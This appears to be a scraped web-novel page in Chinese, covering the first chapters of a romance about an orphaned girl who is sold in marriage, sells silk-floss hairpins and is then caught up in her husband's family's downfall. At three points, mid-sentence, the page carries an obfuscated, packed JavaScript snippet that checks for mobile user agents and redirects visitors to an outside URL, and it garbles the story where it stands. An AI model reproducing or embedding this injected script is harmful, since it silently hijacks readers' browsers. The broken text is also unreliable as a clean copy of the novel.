《绒花娘子古代升职记》 1. 极品亲戚 江南府容县，大桑村。 陈老根家里正在经历一场激烈的争吵。 堂屋里点着盏油灯，四方木桌边坐着一面容黑瘦憨厚的男子，他猛地拍桌，对叉腰大骂的李氏怒喝：“我不同意！谁不知道县里崔家老二是个傻子，你让桃子嫁过去，就是把她往火坑里推！” 李氏声音比他还大，理直气壮道：“傻子怎么了！人家能给一百两的聘礼这么大方，咱桃子去了也是享福的，你不同意那你倒是把家里的那批蚕给救活啊！” “文祖今年的束脩等着交呢，要耽误了他读书考状元，我跟你没完！” 陈老根闻言挺直的脊背瞬间佝偻下来，搭在桌上粗糙皲裂的手紧握成拳，他抹了一把沧桑的脸，抬头去看站在边上的外甥女:“桃子，你……你是个什么想法？” 李氏狠拍了一下余晚桃后背，声音尖利道:“她一个姑娘家知道什么，自古父母之命媒妁之言，她爹娘死了，我们就是她长辈，替她张罗婚事天经地义。” “桃子今年满打满算才十六岁，能再养两年。”陈老根羞愧得低下头，没什么底气地说着。 李氏是个泼辣的，听了这话当即撒开手，气势汹汹道:“拿什么再养两年！我养她几年够仁至义尽了，如今文祖读书急用银子，也该到她报答的时候了。” 李氏说着点了余晚桃一眼，在她瘦巴巴的胳膊上拧了一把:“听到没有？” 余晚桃吃痛，捂着被拧紫的地方呐呐点头，这具身体被磋磨得只剩个皮包骨了，要不是换了芯子，估计早没了。 她可怜巴巴地看着陈老根，眼睛很亮:“我愿意嫁的，舅舅你不要和舅母吵架。” 陈老根顿时更是羞愧，他抬头望着瘦弱胆小的外甥女，心里苦涩难言，只觉得对不起地底下的妹妹夫妇，一声重重的叹息落在堂屋里，脑袋也跟着垂了下来。 这么一妥协，十六岁的余晚桃就以百两的聘礼定给了一个傻子。 第二天媒婆就上门了，互换庚帖，定下婚期，李氏怕崔家临时反悔，硬是磨着让他们先拿出三十两的聘礼定金，才笑脸将人迎出门去。 不出一个时辰，陈家将余晚桃定给了一个傻子的消息就传遍了大桑村。 余晚桃背着竹篓去桑园里采桑叶，路上遇见了村长的儿媳妇林小秋，她端着洗衣盆从河边回来，见余晚桃又自己去采桑叶，当即皱眉将人唤了过来。 “桃子，你舅母真把你许给县里的傻子了？” 余晚桃懵懂地点点头，说:“舅母说家里这批蚕养死了，文祖表哥的束脩没了下落，那家人愿意出一百两的聘礼，舅舅舅母收养了我，我要知恩图报。” “李氏这黑了心的遭烂人，当时你爹娘一死就上门来吃绝户，我就知道这一家子不是个好东西，拿了你爹娘留下多少家财，那二十多亩的桑蚕园说占就占了，结果临到头来把你卖给一个傻子。” “桃子别怕，我回去同公爹说，村里族老会给你做主的！”，林小秋说着就要拽余晚桃上自己家说理去。 余晚桃拉住她，瘦黄小脸露出一丝无奈:“秋嫂子，其实嫁给傻子也没什么不好的，起码能吃饱穿暖，不用挨打。” “你个孩子，你才十六岁，就要去一辈子伺候个傻相公不成？”，林小秋心疼得紧，听着这酸心的话眼眶就红了。 余晚桃是真觉得没什么，反正她也想摆脱舅母一家，嫁出去也是一个契机，崔家虽不知道是什么光景，但一个傻子应该是挺好忽悠的。 要再在陈老根家待下去，她非得被磋磨死不可，每日天没亮就得起床烧水做饭，打猪草，喂猪喂鸡，给菜地浇水，采桑叶喂蚕，给蚕除砂，然后继续回去做饭伺候一家吃喝。 每天跟个陀螺一样从早转到晚，吃的只有一碗糙米汤，她来这半年了，是连点油星都见不着，整个人面黄肌瘦，头发干枯，严重营养不良。 要不是这时代孤女不能自己立户，她早跑了。 余晚桃劝住了要给自己打抱不平的林小秋，开始一日的工作，陈老根两口子虽占了她家的桑蚕园，但根本打理不来，也不肯花钱请蚕农，一批蚕一期吐下来的蚕茧不多。 桑地里杂草丛生，桑叶质量不好，养蚕的人又不专业，每年孵化的蚕宝宝多数都被养死了，今年一场大雨，更是直接压塌了陈家的蚕舍，导致陈家今年开始吐丝的蚕全死了。 家中生计被断，陈文祖书院读书花费高，又等着缴束脩，李氏这才盯上了余晚桃的亲事。 余晚桃来回跑了五趟才摘了足量的桑叶，她背着最后一筐走进新搭起来的蚕舍，蚕宝宝分三个生长阶段划分了地方，刚出生不久的需要将桑叶切碎了均匀铺在上面，大些的就可以直接喂。 她喂了蚕，又花了两个时辰除蚕砂，陈旧的蚕座已经发霉潮湿却因为李氏的抠门迟迟没换，地上用木板子隔出来的空间更是养了鸡，鸡屎鸡尿乱糟糟的，四周门窗又关着，空气不流通。 陈家的蚕能养死，得归咎于李氏的愚蠢无知。 余晚桃来这前是非遗绒花世家的传承人，对科学养蚕知识了如指掌，不过她并不打算便宜了李氏，每日按照吩咐做事，多的一句话都不会说。 忙完蚕舍里的事，余晚桃来到灶房做一家人的晚饭，家里得了三十两聘礼定金，李氏当天就割了二斤猪肉回来，做了一顿白菜炖五花肉，桌上李氏不停地给陈文祖夹肉吃。 陈文祖吃得油光满面，却故作斯文地训斥李氏:“读书人不能贪口腹之欲，爹娘也吃，别总给我夹。” 李氏高兴得直呼儿子孝顺，恨不得直接把那二斤肉全倒他碗里:“我儿读书辛苦了，该补补。” 余晚桃默不出声，低头夹了一筷子咸菜就着手里的糙馍馍吃，馍馍是糙米揉的，又硬又卡嗓子，为了填肚子她还是强撑着吃了两。 李氏阴阳怪气地撇了她一眼:“瞧着身板小吃得这么多，一顿饭就造了老娘两个馍馍。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561827|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈老根再窝囊这会都看不下去了，他当即就拍下筷子:“你说够没有？像你这么做舅母的也不怕晚上睡觉桃子爹娘来找你索命。” “要来尽管来！”，李氏嘴里不饶人，恶毒道:“要不是那俩短命鬼，我用得着多养一个拖油瓶，我呸！” 陈老根气红了脸，抖着手指向她:“你！” “我什么我？你个窝囊废赚不到铜板回家就拿媳妇出气是吧？文祖啊你可要给娘做主！”李氏嚎着嗓子去攀扯儿子的胳膊。 陈文祖嫌弃地拽回自己衣袖，望着棉布青衫上留下的黑指印，他面色不渝道:“整日吵什么吵，我考不上秀才就是你们天天吵闹害的。” 李氏瞬间跟锯了嘴的葫芦一样歇声了，她忙做低姿态哄人:“是娘不好，娘以后会注意的，文祖可千万别被影响了，家里以后可就靠你光耀门楣了。” 陈文祖冷哼了一声，继续吃肉。 桌上一时安静下来，陈老根垂着脑袋，整个背都佝偻着，浑身萦绕着一股要爆发的低气压，就像即将触底反弹的弹簧。 这舅舅是个憨厚老实的，奈何李氏太强势，陈文祖又是家里唯一男丁，所以总隐忍着脾气，任由李氏磋磨打骂余晚桃，任由自己被骂了十几年窝囊废。 余晚桃转了下眼睛，她嗫嚅地小声说:“舅母对不起，我下次吃一个馍馍就好了。” “丧门星，吃好了就滚去喂猪，饿到了小猪仔看我怎么收拾你。” “够了！”，陈老根腾地抬起隐忍至猩红的眼，起身一把掀翻了饭桌，那碗五花肉哗啦摔到了地上，发出碗碟破碎的清脆声响，李氏和陈文祖被吓得当即跳开。 李氏最先反应过来，心疼地看着摔碎的碗碟和五花肉，当即就抄起凳子朝陈老根咂过去，要跟人拼命。 “你个窝囊废老东西，就会窝里横，当老娘怕你不成！” 李氏泼辣又刁钻，但到底没有男人那把子力气大，被陈老根一把掀翻出去，陈老根伸脚就去踩地上的五花肉:“我让你吃！我让你们吃肉！” “爹你发什么疯。”，陈文祖黑了脸。 李氏骨碌从地上爬起，去墙角抄起一块压酸菜缸的石头，狰狞着脸朝陈老根砸过去，嘴里喊着:“这日子不过了！” 余晚桃见状赶紧扑过去挡在陈老根前面，那石头猛砸到她脑门上，耳朵嗡的一声，热热的液体顺着面颊淌下来，她摸了一下脸，摸到满手血，当即就扯开嗓子哭了起来。 村里挨家挨户的什么动静都能听着，是以村民听到哭声赶过去时，正撞见李氏疯了一般扑到余晚桃身上捂住她的嘴，那脸上狰狞阴狠的表情一览无余。 余晚桃满脸血，瘦小的身体被压住，她一口咬在李氏的手上，趁她吃疼缩回手的间隙大声呼救:“救命啊舅母要杀了我！” “陈老根家的你好大的胆子！” 李氏惊慌地往门口看去，见到来人，她一下跌坐回去，脸色唰地白了。 2. 卖绒花簪 陈家门口挨挨挤挤着一帮村民，中间是面容严肃的村长，林小秋站在自己公爹身边，气愤地跑过去推开李氏，将余晚桃抱过来，见她额头汩汩留着血，当即慌道:“快去找五爷爷来，桃子流了好多血！” 有年轻力壮的小伙闻言腿一迈就跑去喊人，没一会就把村里唯一懂医的五爷爷喊来了，余五提着药箱子让人把余晚桃放平，清洗伤口，止血包扎。 余晚桃全程没喊一声疼，睁着圆圆的杏眼乖巧躺着，余五瞧她实在可怜，给她处理完伤口后从药箱里抓了把干红枣:“吃了补补血。” “谢谢五爷爷。”，余晚桃擦干净眼泪，顽强地自己爬了起来，靠在墙根那吃红枣，她脸上还带着血，身形瘦瘦小小的，这一幕任谁看了都觉着心酸。 余村长收回眼神，冷冷看着李氏:“李氏，桃子小不懂事，你还当村里人什么都不知道吗？当年余旺两口子留了多少家财下来全进了你的口袋，你拿了财产却又不善待桃子，现在是打算活活将她打死吗！” 李氏目光闪烁，她横着脖子粗声道:“我砸的陈老根，她这小畜生自己跑过来的关我什么事！” “老根是你当家的！”，一村民不平道:“李氏你平日撒泼就算了竟然还想砸死自己当家的，村长，这种泼妇我们大桑村可留不得，该族规伺候。” 陈老根红着眼睛，丧着脸朝村长走过去，闷声道:“是我对不起地底下的妹子，这么多年对桃子受的苦全当看不见，村长……我想休妻。” “你要休我？”李氏不敢置信地瞪大眼睛，她爬起一头撞到陈老根后背，将他推倒，扑到他身上抓打:“我为你们老陈家生了儿子，你竟然为了一个贱蹄子想要休我，陈老根你这个孬种黑心货！” “够了！”，余村长沉声喝道。 几个婶子赶紧上去将扭打在一起的两口子拉开。 李氏浑身一抖，惧怕于村长的威严，她躲到儿子身后，伸出脑袋趾高气昂道:“我儿子是要考秀才的，他陈老根想要休我，也不考虑考虑儿子读书的名声，在整个大桑村，可就我们文祖一个读书人。” 余村长看了一眼青衫长袍的陈文祖，心里重重叹了一声，大桑村是杂姓村，村里文风不盛，只有这一个读书人在县里书院上学。 他让人将陈老根扶起。 “谁家过日子都会吵闹，你们都这年纪了别动不动就要休妻。说吧，这次到底因为什么事闹成这样？” 陈老根颓然坐在地上:“这婆娘将桃子许给了县里的傻子人家，都要被卖了，可是她在家里吃个糙米馍馍都被说，她……才十六岁。”，他一顶门立户的庄稼汉子，说到这忍不住哽咽了。 李氏嘴硬道:“那崔家是个富贵人家，傻子又怎么了，过去了就有福气享，我这是为桃子好。” “李氏你可当真是个不要脸的！”，林小秋怒骂。 李氏朝林小秋呸了一声:“管天管地还管我家拉屎放屁，我养了这拖油瓶这么多年，也该是她报答我的时候了。” “你！” “舅母。”，一直没有出声的余晚桃，这时踉踉跄跄地站了起来，她顶着额头的纱布，面无血色走到村长面前，“村长，我想知道当时爹娘留下的田产家财有多少，当时舅舅领养我的时候，应该有签继承文书的吧。” “小贱蹄子你想干什么？”，李氏不知为何心里开始发慌。 余晚桃转身静静看着她:“既然舅母骂我拖油瓶，白吃你家饭，那我就想当着村民们的面算个清楚，我就要嫁出去了，总不能背着这个骂名一辈子。” 按照规矩，这继承文书确实是有的，余村长自己亲自回去拿，一炷香不到就将当时签订的文书找出来了。 余村长将陈旧文书展开，他识字，便亲自念给余晚桃听:“余旺名下三间老屋，旱地五亩，水田八亩，自己开荒所得二十六亩地发展为桑蚕园，除此之外还有现银二百八十九两，除去办丧所花六两，其余全部由陈老根夫妇继承。” “而陈老根一家需要抚养其女余晚桃至及笄出嫁，并为其准备嫁妆。” 听村长念完，余晚桃的心起伏不定，她用难以言喻的目光盯着李氏:“我爹娘留下这么多家财全到了你手上，你用这些银子置办产业，送文祖表哥读书，吃穿挥霍，可是我在你们家连件像样的新衣服都没有，每天给你们干活任打任骂，连吃个糙米馍馍都被说。” 余晚桃说着就流下两行泪:“我没有白吃白住在你家，是你欺我年幼无亲，吃我家绝户！” 李氏在众人目光下脸颊火辣辣的疼，她恨不得扑上去撕了余晚桃的嘴，可众口铄金，她只能求救的去拉自己儿子衣袖。 陈文祖是这些家财里最大的受益者，他不得不站出来，作一副坦荡君子无愧于心的姿态:“桃子，我爹娘确实接受了这些钱财，但当时你举目无亲，大魏朝律令有女子不可立户一制，若没有我们家收留，这些家财你也守不住，只能充公去慈济堂，那不是什么好地方，你去了那将来只能当个下等乐人。” “表哥说的我都懂。”，余晚桃扯了扯嘴角:“只是到底寒了心，今日我想请村长作证，签下文书，我出嫁后，互不亏欠，断了这抚养关系，只当一门普通亲戚便是。” “桃子，你要想清楚。”，余村长皱起眉头，女子出嫁若是没有娘家支持，就如无根浮萍。 余晚桃目光坚决:“村长，我已经想清楚了。” 要签断抚养关系文书，李氏眼睛骨碌转着，满脸写着算计，张口就要嚷不给彩礼的事，最后被陈文祖一个眼神瞪了回去。 两方在村长见证下签了文书，陈老根到底对余晚桃心中有愧，签了文书后沉默地转身进了屋，昏暗光线下将他佝偻蹒跚的背影拉得很长。 迎亲的日子定在半月后，余晚桃还要在陈家住着，她收了文书，送走村长和村民后就进了自己的屋子。 从床底拉出一个木箱，里面是两支做好的绒花簪子，这半年来她偷偷藏的蚕茧缫出来的蚕丝也只够做这两支簪子。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561828|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一支是染了色的海棠花样式，一支是纯色云纹祥瑞簪，绒花簪讲究款式高雅，有“荣华”“吉祥如意”的兆头，在这个普遍以金银为饰的朝代，有着别样的意趣。 古人以丝绸为雅，蚕丝价格更是高昂，要不原身父母也不可能攒下那一份家底。 翌日余晚桃没给陈家人做早饭，天稍亮就出了门往县里去，赶巧今日大集，县里摆摊赶集的人都很多。 余晚桃一路观察着女子发饰妆容，容县还是挺富裕的，富家小姐多，打扮得也是各有风采，她逛了一圈街集，最后来到一间首饰铺子。 穿得寒酸，那些小厮自然是不会让进去。 余晚桃暗自观察了一阵，最后挑了一位面容姣好，看着比较随和的小姐拦住，笑容热情:“这位天仙般好看的姑娘，我有自己做的绒花簪子，都是用家养蚕丝铰的，便宜又好瞧！” 说着她便自顾打开盒子递到那小姐跟前。 那小姐以帕子掩面，本想皱眉走开，却在见到盒子里那两支簪子时猛地顿住脚步，眼里绽放出惊喜，她拿起那支海棠花簪:“这当真是用蚕丝铰的？好漂亮呀。” 海棠花花瓣栩栩如生，粉红娇艳，像刚从枝头摘下来的一般。 余晚桃卖力推销:“这上面的海棠花是蚕丝铰的自然是精细，您是贵人，摸着触感就能辨出真假，簪支是用桃木做的，能辟邪，保平安，海棠花也衬美人，一支才五百文，不贵。” 寻常首饰铺里的簪子，最低档的也差不多是这个价位。 富家小姐有些爱不释手，喜欢得紧，大方地让侍女递了一两碎银过去，把两支簪子都买了，她高兴道:“你这丫头手挺巧，以后要是还有新做的簪，可以送到东街刘府，我还买你的。” “多谢刘小姐。”，余晚桃开心地收了银子。 终于赚到这个世界的第一笔钱，余晚桃去县里医馆给自己抓了三百文的草药，又去路边的面摊点了一碗加肉的面条，匮乏干瘪的肚子终于见着油水，她大口吃着，后面还去加了两回汤。 时候还早余晚桃不打算回去受李氏的骂，于是又去首饰铺外转了一圈，探听清楚了各种首饰的大概价格后正欲转身离开，却被猛地一推跌倒在地，她腰上的荷包也顺势被人扯走。 “有小偷！”，余晚桃大喊一声，迅速爬起来拨开人群追过去。 那小偷跑得不快但极熟悉地形，专挑人少的巷子跑，余晚桃追到巷子口，急急刹住脚步，终于察觉到了不对劲。 余晚桃往后退了一大步，却猝然被人从身后抱住绑手绑脚，布巾塞嘴，而后扛起来往巷子深处去。 是拐子，不是小偷。 余晚桃绝望地想着。 不知癫了多久，余晚桃被人用力扔下，关进了一间破屋子里，那人一走，她就立刻爬起来弓着腰想用膝盖夹掉嘴上的布。 余晚桃艰难地扯掉了嘴巴里的布，刚松口气却陡然瞧见屋里还有别的人，她浑身一紧，朝对方看去，当即愣住了。 3. 出嫁了 那是一个十七八岁的少年郎，眉目如画，身形清俊，不过一双眼睛呆呆愣愣的，被绑了手脚也不会挣扎，卷翘的鸦睫轻扇，疑惑又好奇地盯着余晚桃。 余晚桃试着与他沟通:“你是县里人家的？知不知道那些绑你进来的拐子是谁？” “拐子？”少年郎歪头:“我被拐子绑了？” “……”，余晚桃沉默。 这年头县里傻子这么多的吗？ 余晚桃挪过去，郑重其事地告诉他:“你就是被拐子绑了，如果不想办法逃出去，以后都见不到家人了。” 少年郎抿嘴，傲娇地哼了一声:“骗傻子呢你，我可不信！” 哼罢，他憋着一股气将身上的绳子挣断了，得意洋洋地冲余晚桃嘚瑟:“看到没，我这么厉害哪个拐子敢绑我，我刚才是和一个婆婆玩捉迷藏的。” “你！”余晚桃杏眼瞪圆，这傻子张飞二代吗？ 她识时务地换了张笑脸:“你这么厉害能不能帮我把绳子解开，不然一会那婆婆进来，捉迷藏可就是你输了哦。” “我叫崔玉棠，我哥说只能和认识的人玩。”少年郎蹲下来，撑着脸颊自顾自开口道。 余晚桃再度错愕，她张着嘴巴半响憋不出一句话，姓崔的傻子，县里应该不会有重复的吧？所以这位就是她即将要嫁的傻子相公。 “你叫什么？”，少年认真追问。 余晚桃咽了下口水:“我是大桑村的余晚桃。” 空气凝结了片刻，崔玉棠轰地从脸红到了脖子根，他手忙脚乱给余晚桃扯断了绳子，扭捏地对着手指站在边上，眼神飘忽着偷偷看一眼又顶着俊俏的脸蛋红成猴屁股。 “你你你……”，支支吾吾羞羞臊臊。 余晚桃无暇顾及傻子的情绪，她从地上拾起一根木头，皱眉将直挺挺杵着的崔玉棠扯到门后。 她屏住呼吸，扭头做了一个噤声的动作，然后双手握紧木头，等着门外脚步声渐近，待门外的婆子推门进来，她就猛地一棍敲下去，然后半步不停拽住傻子的手腕往外跑。 婆子被敲了一闷棍，哎哟叫唤了一声，院里就追出去两个壮硕的大汉。 余晚桃额头有伤人也瘦弱，根本跑不过成年男子，她拖着人跑了没多久就被堵在一条巷子里，两大汉蓄胡粗眉，眼神精明，一看就是亡命之徒。 余晚桃只觉得自己倒霉透顶。 “那个……捉迷藏被找到了，我们是不是输了？”，身后传来小声的询问。 余晚桃敷衍地点点头，心里绞尽脑汁想着脱身法子。 崔玉棠人傻但鬼精着，拐子骗他说捉迷藏，赢了才能回家，他害羞地悄悄看了一眼余晚桃，腼腆地笑了下:“我哥说，捉迷藏输了没关系，可以偷偷耍赖的。” “？？”，余晚桃惊疑回头，下一刻却被竖着抱起，傻子抱着他，闷头跟牛犊子一样朝两个大汉冲了过去。 余晚桃反射性地闭上眼，紧接着一股蛮力带着她横冲直撞，径直把两个大汉撞飞砸到墙上去，傻子健步如飞，眨眼功夫就在巷子里跑没了。 出了巷子，跑到人来人往的街集上，余晚桃挣扎着让人将她放下来，她没空去震惊傻子天生神力的事情，从路人口中问到县衙所在，就气喘吁吁地跑过去，寻到值守的一名衙役将拐子的事说明。 好在衙役动作很快，那伙拐子被一网打尽，还从别屋里解救出了几个同样被拐的孩子，余晚桃报信有功，不仅找回了自己的钱袋，还得了衙门五两银子赏钱。 余晚桃分了傻子二两，将人交给衙役就转身走了。 崔玉棠伸长脖子目送那背影走远，直到他家人来接，问他时，他羞涩地捂住脸，说:“我跟娘子一起玩捉迷藏了。” 崔家人:？ …… 陈家院里闹翻了天，原因是余晚桃去县里大半天，家里活没人干，李氏一个人骂骂咧咧地去割了猪草喂猪，又忙活着去摘桑叶喂蚕，累得够呛。 余晚桃一回来，迎面就砸过来一个水瓢，李氏站在院里叉腰大骂:“个贱蹄子一大早活不干去哪勾搭野汉子了是不是。这个点了还有脸回来了啊，我告诉你，今天没你的饭吃！” 昨天闹成那样，但显然李氏没当回事，该使唤人还是照样使唤，人在屋檐下，余晚桃也不想在这个节骨眼生事，她闷声转去灶房里劈柴，烧水煮饭。 李氏依旧在骂骂咧咧的，晚上连个馍馍都没给余晚桃吃。 余晚桃回了房间，从怀中掏出县里买的饼子，就着白开水吃完了。 夜里睡下后，房门突然吱呀响了一声，陈老根拿了两个馒头进来，在黑漆漆的房里站了一会，才拖着脚步离开。 …… 迎亲这日，余晚桃被拉着脸的李氏拽起来铰脸上妆，再不情愿为着面子她还是置办了几桌席面，不过再多便没了。 余晚桃穿着陈旧的红布衣，稚气未脱的脸上被敷了一层劣质胭脂，头上梳着妇人髻，从铜镜里看像个滑稽的丑娃娃。 李氏没给什么陪嫁，只有一床新被褥和几件旧衣服，崔家明面上是给百两银子聘礼，实际就是花钱买了个媳妇。 拜别长辈和村族老后，余晚桃被舅舅背上了花轿，一路吹吹打打离开了大桑村，她掀开帘子往后看了一眼，便匆匆收回视线，对这个村子再没有一丝留恋。 崔家新房—— 余晚桃枯坐了半天，外面的喧闹终于是结束了，有人推门进来，站她面前踟蹰许久才将盖头掀了。 她抬起头，见傻子眉眼漂亮，少年刚长成的身形在大红婚服的衬托下如展翅的雏鹰，还顶着一张红脸，挠着脑袋局促不已。 余晚桃不由得轻笑了下，一直提着的心松懈了许多。 崔玉棠谨记父母的教导，主动去牵自己新娘子的手，到桌边坐下，认真地说:“娘说要吃东西，喝了交杯酒就得直接睡觉，不可以洞房，因为娘子太小了，要等长大。” 崔家是开绸缎铺的，确实如李氏说的一样富贵，桌上几样菜都是精细的，余晚桃难得吃了顿好的，来新家第一天也少了些忐忑。 晚间睡下时崔玉棠非常老实，估计傻子也不会知道什么是洞房，余晚桃得以睡了这半月来的第一个好觉。 翌日醒来去敬茶，余晚桃也确认了崔家人很好相处的事实。 崔家是大户但人员简单，除崔氏夫妻外还有一个哥哥，是崔家长子，瞧着也是位随和的人。 崔夫人喝了茶，给了见面礼，对新儿媳说道:“我儿的情况你也看到了，我们家不求门当户对，只是想寻个贴心的人照顾着他，你那舅母不仁，你以后可安心待在崔家，我们必定不会亏待了你。” “谢谢娘。”，余晚桃嘴甜地改了称呼。 她吃了半年糙米馍馍，这泼天富贵也该是她享的。 崔玉棠也跟着喊:“谢谢娘！” 崔夫人仰头笑了起来，故意问:“你谢什么？我同你娘子说话，又没同你说话。” 崔玉棠歪头，生气地哼了一声。 崔家大哥见状上去哄他，好笑地给了他一包乳酪，“喏，哥哥买的，拿去给你娘子吃吧。” 崔玉棠才不要，他撅了回去，自顾自跑出去，远远能听见他生气的声音:“我也有乳酪，娘子只吃我买的！” 傻子风风火火的跑没影了。 余晚桃陪着崔家人聊了一会，崔夫人便说到了崔玉棠的情况:“二郎八岁前还是个聪明伶俐的孩子，天生神力又能出口成章，云游道士都批命说他是大贵之人。只是后来遭逢巨变连着高热了几天，再醒来神智就一直停留在那时候了，请了无数大夫都说治不好。” 余晚桃低垂眉眼，宽慰道:“相公这样挺好的，天真直率，无忧无虑。” “希望吧，他大伯在府城是做官的，说是玉棠这种情况也常见，有的人可能忽然就好了也不一定。”，崔夫人抱着希望说。 没想到崔家还有做官的亲戚。 余晚桃觉得自己端的这碗饭更稳了，只是这般想着，她心里不知为何突突跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561829|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几下。 那边崔玉棠取来了自己的那份乳酪，抢着要给余晚桃吃，他似乎格外腼腆不敢看人，又时刻谨记着这是爹娘给自己娶的媳妇，能随便看。 于是盯一眼撇一眼，把自己珍藏的零口全都抱了出来，他心疼地说:“娘子原来的家对你不好，所以才瘦瘦的，我一定会把娘子养得白白胖胖的。” 这是个很伟大的梦想，余晚桃已经准备好接受傻子相公的投喂。 一天时间足够余晚桃熟悉崔府，崔府是四进大宅院，府里丫鬟小厮不少，是正经大户人家的门面派头。 傍晚用膳时是一家人在偏厅用的，余晚桃得了一盅燕窝喝，精米好肉，还有饭后水果茶点，她在心里感叹:这才是穿越人士的标配生活啊！ 以前在陈家的日子简直是在渡劫。 …… 夜半时分，万籁俱寂。 更夫的梆子声悠远绵长，余晚桃是被踹门声震醒的，思绪还懵着就被人一把从床上拽起，紧接着寒光铮铮的长剑就搁到了脖子上。 余晚桃瞌睡虫瞬间没了，浑身哆嗦着和一脸兴奋以为又要玩捉迷藏的崔玉棠一起被压到了前院。 崔家正堂烛火通明。 一干人等全部被官兵压着跪下，一面钩眉沉的参将展开知府手谕，高声宣读:“奉知府令，崔海身为同知，掌督粮，主江防水利一职却中饱私囊，枉顾律法，吞侵朝廷官银。着革去官职，判秋后问斩，崔家全族没收家产，流放西北！” 此声一罢如晴天霹雳，劈得崔家人直接瘫软在地，签了死契的下人们更是哭嚎起来，惊起了夜鹊邻里，惹得不少人披衣拎灯笼出去看。 崔府高院阻挡了一切绝望，余晚桃整个人处于一种从天堂跌入地狱的荒诞之中，好日子过了才一天，就被流放西北了？ 事已至此，府中活契的下人纷纷被遣散，其他人面容绝望地被官兵套上枷项。 崔夫人哭着膝行跪出去，她把余晚桃和崔玉棠扯出去:“大人，这两个没在崔家族谱上，算不得崔氏族人，还请大人明鉴！” 官兵自然不会信她一面之词，派人去崔家祠堂取了族谱来，一一核对，又查了身份文牒，才最终确认，他们将两人拉出来，脱离了要被流放的崔氏族人。 “娘？”崔玉棠懵懵懂懂的，想要跑过去找他娘，却被官兵一把扯住，抬脚便要踹去。 崔夫人扑上去抱住那官兵的脚哽咽求饶:“大人放过他吧，他只是一个什么都不懂的傻子。” “晦气。” 崔夫人给了余晚桃一个复杂的眼神，又转过去深切而哀痛地望着崔玉棠，做着最后的诀别。 崔氏族人被连夜带走，崔府被查抄，余晚桃和崔玉棠只穿着身单薄的里衣就被赶了出来，崔玉棠像是忽然就懂了离别，哭着去追囚车。 夜间呼啸着冷风，余晚桃抱着自己带过来的简单包袱，迷茫地站在原地，不知往何处去。 不知站了多久，崔玉棠追了个头破血流，一边哭一边擦着眼泪走回来，委屈地说:“爹娘还有哥哥让我跟着娘子，不能乱跑呜呜呜。” 余晚桃心烦意乱，并不想要这个累赘，可是望着那一双哭得通红的眼睛里全是对她的依赖，最终还是沉默着牵过他的手离开了崔府大门。 余晚桃并不打算就这样离开，她等查抄的官兵都走了，才绕到后院，带着崔玉棠从狗洞钻进去，想要再找点值钱的东西。 两人回了房间，里面已经被翻得乱糟糟的，就连桌椅板凳都被搬走了。 崔玉棠在房里转了两圈，走到角落里四处摸了摸，按了下，结实墙面就跳出了一个格子，他惊喜地扑上去，拿着格子里的翡翠盒献宝似的递给余晚桃，他小声说:“爹给的宝贝还在，娘子快点收好。” 余晚桃没有立马打开看，她把翡翠盒收进了包袱里，刚想带着人离开却发现不远处一阵沉稳有力的脚步声在逼近，伴随而来的还有浓郁的火油味。 余晚桃神色一紧，抓着崔玉棠的手腕深深陷进肉里。 4. 赎回老屋 “找到东西了吗？” “没，都翻遍了。” “算了，把这烧了那东西照样得没，再派人到去西北的关隘守着，崔家人，一个不留！” 细碎的谈话声从房间外传来，两道声音只停留了片刻，离开后大火瞬间蔓延，火油的味道带着呛鼻的浓烟滚滚卷起火舌，顷刻间便吞噬了雕梁画栋的亭台楼阁。 余晚桃跑得慢，这次是崔玉棠背着她快速绕过火海，沿着来路，从狗洞里钻出去，远远将崔府抛在后面。 崔玉棠仿佛受了什么刺激，一直啊啊地大喊着，直到筋疲力竭，砰地摔在地上昏死过去。 余晚拖着他在商铺屋舍檐下躲过了下半夜，草草给他包了脑袋止血，直至天光熹微，才将人拖去医馆。 隔间里静悄悄的，只有外面偶尔走动的声音，余晚桃一夜惊魂，此刻停下来觉得浑身力气都被掏空了，她撑在小桌上打盹，直到一个老大夫掀开竹帘走进来，替崔玉棠拔走背上的银针。 “这小子受了大刺激，因祸得福恢复了正常神智，等醒来抓好药就可以走了，五日后再来我这复诊。” 余晚桃揉着脸让自己清醒些，她出去交了诊金和药钱，再回来时发现崔玉棠已经醒来了，他面色灰白，安安静静地躺着，眼里的童真一夜间消失了，转变为一种复杂的情绪。 “还知道我是谁吗？”，余晚桃把药包搁到桌上，坐到榻前俯身去看他。 “娘子。”崔玉棠哑着声音唤了一声。 余晚桃扶他坐起喝了一碗茶水，轻轻叹了一声:“也不知幸是不幸，偏偏出了这事你就恢复神智了，要平白遭受失去家人的痛苦。” “你若愿意，就跟我回大桑村安家，若有其他打算我们就此分道扬镳。” “那个翡翠盒呢？”，崔玉棠，没有立刻回答，而是问。 